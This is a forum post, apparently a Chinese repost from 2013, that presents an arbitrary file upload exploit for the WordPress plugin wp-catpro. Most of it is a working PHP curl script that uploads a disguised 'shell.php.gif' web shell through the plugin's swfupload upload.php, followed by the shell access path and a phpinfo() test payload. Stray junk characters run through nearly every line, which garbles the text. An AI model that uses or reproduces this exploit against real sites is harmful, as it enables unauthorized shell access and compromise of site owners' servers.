Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability! B) f7 B' M9 Q {; q# O$ N
#-----------------------------------------------------------------------; b {; A. z: Y8 R4 i) y/ ?8 I7 q
" n( D* c" S4 b& J# m
作者 => Zikou-16( }& B0 e6 o% A3 s
邮箱 => zikou16x@gmail.com# L1 z9 t3 Q% }
测试系统 : Windows 7 , Backtrack 5r3, _6 R8 l- D* {
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip( {, G* I6 s. N g \
####& e2 k v3 z1 Y* V8 f4 G" J
, H8 F y- E' m/ }# V' V
#=> Exploit 信息:
Q8 B( |) ~" S, H: V------------------
- c4 t6 \6 e* S# 攻击者可以上传 file/shell.php.gif7 q0 _5 n3 \( }3 V/ u
# ("jpg", "gif", "png") // Allowed file extensions
6 U; w0 H# N9 z/ q: U# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)& o8 k* P8 N( [9 ?
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
0 a) Y& I5 m W3 h------------------9 L u0 [/ t [
! l2 a" S9 \- G4 J1 V- O
#=> Exploit
6 Y* f# V% {7 q& e) x; R-----------; R) \+ d" K8 T3 M# H
<?php" t3 |+ ]% ~; _9 S' d! W; S3 H/ O0 D
! Q3 v% o$ z' N8 L! W
$uploadfile="zik.php.gif";7 s' b# @& z) Y$ B- E7 o
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");' e3 k% ~( |4 v+ m. n
curl_setopt($ch, CURLOPT_POST, true);7 k0 [8 R# U% R) C+ z/ |
curl_setopt($ch, CURLOPT_POSTFIELDS,6 V7 d) y4 A s4 [5 ^/ A
array('Filedata'=>"@$uploadfile",- d4 I6 }$ T' o8 I0 u) o0 r
'folder'=>'/wp-content/uploads/catpro/'));6 J5 c# I/ q' q) q3 I
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
) X. n/ w T6 U! a% O$postResult = curl_exec($ch);8 _# V; Z0 J; Z2 G8 O+ }# H
curl_close($ch);
N0 o- v9 R& C( {* g7 h
( @- D: K( y, W& L/ N R" ~print "$postResult";
% z r, U! n1 b
, n" e+ Y) U' cShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif- I- r- k1 O" f9 T- ]$ n6 a
?>) T; n, J6 G b0 G
<?php
4 u& r: K7 H6 n5 ~+ Hphpinfo();' [# S1 S' B: C
?> |
发表于 2013-2-27 20:12:43
收藏
支持
反对